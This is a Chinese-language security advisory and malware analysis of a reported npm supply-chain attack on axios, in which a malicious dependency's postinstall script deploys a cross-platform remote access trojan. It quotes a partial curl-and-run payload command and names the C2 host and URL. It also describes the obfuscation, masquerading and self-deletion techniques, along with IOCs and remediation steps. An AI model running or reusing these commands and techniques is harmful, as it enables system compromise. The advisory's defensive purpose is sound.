2026 年 3 月 31 日,知名 JavaScript HTTP 客户端库 axios 在 npm 上被确认遭供应链攻击。攻击者通过劫持核心维护者的 npm 账号,发布了两个包含后门的版本:axios@1.14.1 和 axios@0.30.4。这些版本会自动安装一个伪装成加密工具的恶意依赖 plain-crypto-js@4.2.1,并在用户执行 npm install 时静默部署跨平台远程访问木马(RAT)。
如果你近期安装了上述任一版本,请立即视为系统已遭入侵,并采取紧急响应措施。
事件概览
axios 是 JavaScript 生态中最广泛使用的 HTTP 客户端库,周下载量超 3 亿次。此次攻击影响范围极广,任何在 2026 年 3 月 31 日之后执行过 npm install axios 或 npm update 的项目都可能被感染。
关键特征:
- 攻击者劫持了核心维护者
jasonsaayman的 npm 账号,将其邮箱改为匿名 ProtonMail 地址ifstap@proton.me。 - 绕过 GitHub Actions 的 OIDC 可信发布流程,手动上传恶意版本。
- 未修改
axios源码,而是注入一个从未被引用的“幽灵依赖”plain-crypto-js@4.2.1。 - 该依赖通过
postinstall脚本触发 RAT 下载器,支持 macOS、Windows 和 Linux。
攻击时间线
- 2026-03-30 05:57 UTC:攻击者注册
plain-crypto-js@4.2.0(干净版本),建立可信历史。 - 2026-03-30 23:59 UTC:发布恶意版本
plain-crypto-js@4.2.1,含postinstall: "node setup.js"。 - 2026-03-31 00:21 UTC:发布
axios@1.14.1(1.x 分支)。 - 2026-03-31 01:00 UTC:发布
axios@0.30.4(0.x 分支)。
攻击原理
1. 维护者账号劫持
攻击者获取了长期有效的 npm 访问令牌(非 OIDC 临时令牌),并更改了账户绑定邮箱。这使得恶意版本在 npm 注册表中显示为由合法维护者发布,但缺乏 GitHub 提交记录和 OIDC 签名。
2. 预埋恶意依赖
plain-crypto-js 伪装成知名库 crypto-js,拥有相同描述、作者和 GitHub 链接,极具迷惑性。
3. 注入“幽灵依赖”
对比发现:
// axios@1.14.0(干净)
dependencies: follow-redirects, form-data, proxy-from-env
// axios@1.14.1(恶意)
dependencies: follow-redirects, form-data, proxy-from-env, plain-crypto-js@^4.2.1
值得注意的是,plain-crypto-js 在整个 axios 源码中从未被 import 或 require,仅用于触发 postinstall 脚本——这是典型的供应链投毒信号。
恶意载荷分析(setup.js)
setup.js 使用双层混淆技术:
- 字符串存储在数组
stq[]中,经 Base64 + 字符替换编码。 - 运行时通过自定义 XOR 函数
_trans_1解密(密钥为"OrDeR_7077",实际有效部分为[7,0,7,7])。
解密后关键内容包括:
- C2 服务器地址:
http://sfrclak.com:8000/6202033 - 平台标识:
win32、darwin、linux - 各平台下载命令(如 macOS 使用 AppleScript,Windows 使用 VBScript + PowerShell,Linux 使用 curl + Python)
平台特异性行为
macOS
- 通过
osascript执行 AppleScript。 - 下载 RAT 到
/Library/Caches/com.apple.act.mond(模仿 Apple 系统进程命名)。 - 后台启动,无用户感知。
Windows
- 复制
powershell.exe到%PROGRAMDATA%\wt.exe(伪装为 Windows Terminal)。 - 通过 VBScript 启动隐藏的 PowerShell 脚本。
- RAT 脚本位于
%TEMP%\6202033.ps1,执行后自删。
Linux
- 直接执行:
curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ... & - RAT 持久化于
/tmp/ld.py。
所有平台均向 C2 发送不同 POST body 以获取对应载荷:
- macOS:
packages.npm.org/product0 - Windows:
packages.npm.org/product1 - Linux:
packages.npm.org/product2
此举旨在让流量看起来像正常的 npm registry 请求,规避网络监控。
自我清除机制:隐藏痕迹
执行完毕后,setup.js 会:
- 删除自身(
fs.unlink(__filename)) - 删除含
postinstall的package.json - 将预置的干净文件
package.md重命名为package.json
因此,事后检查 node_modules/plain-crypto-js/ 会看到一个“完全干净”的包,无任何恶意痕迹。**但只要该目录存在,即表明攻击已发生。**
实证验证:Harden-Runner 捕获完整攻击链
StepSecurity 使用 Harden-Runner 在 GitHub Actions 中监控 npm install axios@1.14.1,完整记录了攻击过程:
- 01:30:51Z:安装过程中,
curl首次连接 C2(PID 2401)。 - 01:31:27Z:在后续工作流步骤中,
nohup再次连接 C2(PID 2400,父进程 ID 为 1),证明 RAT 已脱离 npm 进程树,作为守护进程运行。
这证实了恶意软件具备持久化和隐蔽通信能力。
威胁指标(IOCs)
恶意 npm 包
axios@1.14.1— SHA1:2553649f2322049666871cea80a5d0d6adc700caaxios@0.30.4— SHA1:d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71plain-crypto-js@4.2.1— SHA1:07d889e2dadce6f3910dcbc253317d28ca61c766
网络指标
- 域名:
sfrclak.com - IP:
142.11.206.73 - URL:
http://sfrclak.com:8000/6202033
文件系统指标
- macOS:
/Library/Caches/com.apple.act.mond - Windows:
%PROGRAMDATA%\wt.exe - Linux:
/tmp/ld.py
攻击者账号
jasonsaayman(被黑,邮箱:ifstap@proton.me)nrwise(新建,邮箱:nrwise@proton.me)
如何判断是否受影响?
# 检查项目是否使用了恶意版本
npm list axios 2>/dev/null | grep -E "1\.14\.1|0\.30\.4"
# 检查 package-lock.json
grep -A1 '"axios"' package-lock.json | grep -E "1\.14\.1|0\.30\.4"
# 检查是否存在 plain-crypto-js(即使已清理)
ls node_modules/plain-crypto-js 2>/dev/null && echo "POTENTIALLY AFFECTED"
# 检查系统残留
# macOS
ls -la /Library/Caches/com.apple.act.mond 2>/dev/null && echo "COMPROMISED"
# Linux
ls -la /tmp/ld.py 2>/dev/null && echo "COMPROMISED"
# Windows (CMD)
dir "%PROGRAMDATA%\wt.exe" 2>nul && echo COMPROMISED
应急响应与修复建议
- 立即降级:
npm install axios@1.14.0 # 1.x 用户 npm install axios@0.30.3 # 0.x 用户 - 锁定版本:在
package.json中添加:{ "dependencies": { "axios": "1.14.0" }, "overrides": { "axios": "1.14.0" }, "resolutions": { "axios": "1.14.0" } } - 清除恶意依赖:
rm -rf node_modules/plain-crypto-js npm install --ignore-scripts - 轮换所有凭证:包括 npm token、云服务密钥(AWS/GCP/Azure)、SSH 密钥、CI/CD secrets、.env 文件中的敏感信息。
- 审计 CI/CD 日志:任何执行过
npm install的流水线均视为已泄露。 - 网络阻断:
# Linux 防火墙 iptables -A OUTPUT -d 142.11.206.73 -j DROP # hosts 屏蔽 echo "0.0.0.0 sfrclak.com" >> /etc/hosts
如何防范类似攻击?
- 在 CI/CD 中始终使用
--ignore-scripts(如npm ci --ignore-scripts)。 - 启用 npm 可信发布(OIDC)并禁用长期访问令牌。
- 使用供应链安全工具(如 StepSecurity)进行:
- 预防:新包冷却期检查、恶意包实时拦截。
- 检测:AI 分析可疑发布、全组织包搜索。
- 响应:自动告警、影响范围评估、协同修复。
结语
此次 axios 供应链攻击再次凸显了开源生态的脆弱性。开发者应提高警惕,采用纵深防御策略,将安全左移至开发和构建阶段。建议持续关注官方安全通告,并定期审计依赖项。




